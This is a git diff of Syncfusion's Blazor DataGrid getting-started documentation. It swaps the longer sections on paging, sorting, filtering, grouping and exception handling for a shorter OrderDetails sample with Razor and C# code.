-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVztWraLacsGbYO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid-component.png)" %}
-
-## Defining row data
-
-To bind data for the Grid, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of the **DataManager**. You can assign the data source through the `OnInitialized` life cycle of the page.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" />
+@using Syncfusion.Blazor.Grids
 
-@code{
-    public List<Order> Orders { get; set; }
+<SfGrid DataSource="@OrderData">
+    <GridColumns>
+        <GridColumn Field=@nameof(OrderDetails.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.CustomerID) HeaderText="Customer Name" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" EditType="EditType.NumericEdit" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.ShipCountry) HeaderText="Ship Country" EditType="EditType.DropDownEdit" Width="150"></GridColumn>
+    </GridColumns>
+</SfGrid>
 
+@code {
+    public List<OrderDetails> OrderData { get; set; }
     protected override void OnInitialized()
     {
-        Orders = Enumerable.Range(1, 75).Select(x => new Order()
-        {
-            OrderID = 1000 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-            Freight = 2.1 * x,
-            OrderDate = DateTime.Now.AddDays(-x),
-        }).ToList();
-    }
-
-    public class Order {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
+        OrderData = OrderDetails.GetAllRecords();
     }
 }
-
-{% endhighlight %}
-{% endtabs %}
-
-
-## Defining columns
-
-The columns are automatically generated when columns declaration is empty or undefined while initializing the Grid.
-
-The Grid has an option to define columns using [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html). To customize column properties, use [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html).
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) is added to map with a property name in IEnumerable object.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) is added to change the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) is used to change the alignment of columns. By default, columns will be left aligned. To change columns to right align, define [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) as **Right**.
-* Also, you have used another useful property, [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format). Using this, you can format number and date values to standard or custom formats.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders">
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable paging
-
-The paging feature enables users to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a paged view. It can be enabled by setting the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to true. Pager can be customized using the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables you to order the records. It can be enabled by setting the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property as true. Sorting feature can be customized using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable filtering
-
-The filtering feature enables you to view reduced amount of records based on filter criteria. It can be enabled by setting the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property as true. Filtering feature can be customized using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable grouping
-
-The grouping feature enables you to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a grouped view. It can be enabled by setting the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property as true. Grouping feature can be customized using the [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true" AllowGrouping="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
 {% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBfDWBkLabNleSQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid.gif)" %}
-
-## Handling exceptions
-
-Exceptions occurred during Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid actions can be handled without stopping application. These error messages or exception details can be acquired using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnActionFailure) event.
-
-* **TValue** - Specifies the row data type of the grid (for example, Order). It enables strong typing for templates and event args and ensures proper binding/formatting.
-* **GridEvents** - When you use GridEvents, set the same TValue on both SfGrid and GridEvents so the event argument types (like FailureEventArgs, RowSelectEventArgs<TValue>) are correctly bound.
-
-The argument passed to the `OnActionFailure` event contains the error details returned from the server.
-
-N> Recommend you to bind `OnActionFailure` event during your application development phase, this helps you to find any exceptions. You can pass these exception details to our support team to get solution as early as possible.
-
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation:
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Data
-
-<span class="error">@ErrorDetails</span>
-<SfGrid TValue="Order" AllowPaging="true">
-    <GridEvents TValue="Order" OnActionFailure="@ActionFailure"></GridEvents>
-    <GridPageSettings PageSize="10"></GridPageSettings>
-    <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.WebApiAdaptor"></SfDataManager>
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" IsPrimaryKey="true" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-<style>
-    .error {
-        color: red;
-    }
-</style>
-
-@code{
-    public string ErrorDetails = "";
-    public class Order
+{% highlight c# tabtitle="OrderDetails.cs" %}
+public class OrderDetails
+{
+    public static List<OrderDetails> Order = new List<OrderDetails>();
+    public OrderDetails(int OrderID, string CustomerId, double Freight, string ShipCountry)
     {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
+        this.OrderID = OrderID;
+        this.CustomerID = CustomerId;
+        this.Freight = Freight;
+        this.ShipCountry = ShipCountry;    
     }
-
-    public void ActionFailure(FailureEventArgs args)
+    public static List<OrderDetails> GetAllRecords()
     {
-        this.ErrorDetails = "Server exception: 404 Not found";
-        StateHasChanged();
+        if (Order.Count == 0)
+        {
+            Order.Add(new OrderDetails(10248, "VINET", 32.38, "France"));
+            Order.Add(new OrderDetails(10249, "TOMSP", 11.61, "Germany"));
+            Order.Add(new OrderDetails(10250, "HANAR", 65.83, "Brazil"));
+            Order.Add(new OrderDetails(10251, "VICTE", 41.34, "France"));
+            Order.Add(new OrderDetails(10252, "SUPRD", 51.3, "Belgium"));
+        }
+        return Order;
     }
+    public int OrderID { get; set; }
+    public string CustomerID { get; set; }
+    public double Freight { get; set; }
+    public string ShipCountry { get; set; }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-## See Also
-
-* [Getting started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in Server Side App using .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
-
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Blazor DataGrid in your default web browser.
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in WebAssembly using Visual Studio](./how-to/blazor-webassembly-datagrid-using-visual-studio)
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBdteMnJfRLuDhc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
\ No newline at end of file
diff --git a/blazor/datagrid/getting-started-with-web-app.md b/blazor/datagrid/getting-started-with-web-app.md
index 1acde98f50..d0459d0f2d 100644
--- a/blazor/datagrid/getting-started-with-web-app.md
+++ b/blazor/datagrid/getting-started-with-web-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor DataGrid Component in Blazor Web App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -102,13 +102,13 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
-If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+For Blazor Web Apps running in `WebAssembly` or `Auto` render mode, the solution includes both **Server** and **Client** projects. To fully support client-side features, ensure that all required packages are installed in the **Client project**.
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
 
-After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Grids` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file in the **Client** project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Grids` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,13 +149,11 @@ The theme stylesheet and script can be accessed from NuGet through [Static Web A
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/datagrid/style-and-appearance) topic for customizing the DataGrid appearance and styling options.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component
+## Add Blazor DataGrid component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
-
-N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component in the **~/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
 {% tabs %}
 {% highlight razor %}
@@ -166,244 +164,67 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% endhighlight %}
 {% endtabs %}
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" />
-
-@code{
-    public List<Order> Orders { get; set; }
-
-    protected override void OnInitialized()
-    {
-        Orders = Enumerable.Range(1, 5).Select(x => new Order()
-        {
-            OrderID = 0 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-        }).ToList();
-    }
-
-    public class Order
-    {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVztWraLacsGbYO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid-component.png)" %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Grid component in the default web browser.
-
-## Defining row data
-
-To bind data for the Grid, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of the **DataManager**. You can assign the data source through the `OnInitialized` life cycle of the page.
+N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfGrid DataSource="@Orders" />
+@using Syncfusion.Blazor.Grids
 
-@code{
-    public List<Order> Orders { get; set; }
+<SfGrid DataSource="@OrderData">
+    <GridColumns>
+        <GridColumn Field=@nameof(OrderDetails.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.CustomerID) HeaderText="Customer Name" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" EditType="EditType.NumericEdit" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.ShipCountry) HeaderText="Ship Country" EditType="EditType.DropDownEdit" Width="150"></GridColumn>
+    </GridColumns>
+</SfGrid>
 
+@code {
+    public List<OrderDetails> OrderData { get; set; }
     protected override void OnInitialized()
     {
-        Orders = Enumerable.Range(1, 75).Select(x => new Order()
-        {
-            OrderID = 1000 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-            Freight = 2.1 * x,
-            OrderDate = DateTime.Now.AddDays(-x),
-        }).ToList();
-    }
-
-    public class Order {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
+        OrderData = OrderDetails.GetAllRecords();
     }
 }
-
 {% endhighlight %}
-{% endtabs %}
-
-
-## Defining columns
-
-The columns are automatically generated when columns declaration is empty or undefined while initializing the Grid.
-
-The Grid has an option to define columns using [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html) component. To customize column properties, use [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html).
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) is added to map with a property name in IEnumerable object.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) is added to change the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) is used to change the alignment of columns. By default, columns will be left aligned. To change columns to right align, define [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) as **Right**.
-* Also, you have used another useful property, [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format). Using this, you can format number and date values to standard or custom formats.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders">
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable paging
-
-The paging feature enables users to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a paged view. It can be enabled by setting the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to true. Pager can be customized using the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables you to order the records. It can be enabled by setting the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property as true. Sorting feature can be customized using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable filtering
-
-The filtering feature enables you to view reduced amount of records based on filter criteria. It can be enabled by setting the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property as true. Filtering feature can be customized using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable grouping
-
-The grouping feature enables you to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a grouped view. It can be enabled by setting the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property as true. Grouping feature can be customized using the [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true" AllowGrouping="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBfDWBkLabNleSQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid.gif)" %}
-
-## Handling exceptions
-
-Exceptions occurred during Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid actions can be handled without stopping application. These error messages or exception details can be acquired using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnActionFailure) event.
-
-* **TValue** - Specifies the row data type of the grid (for example, Order). It enables strong typing for templates and event args and ensures proper binding/formatting.
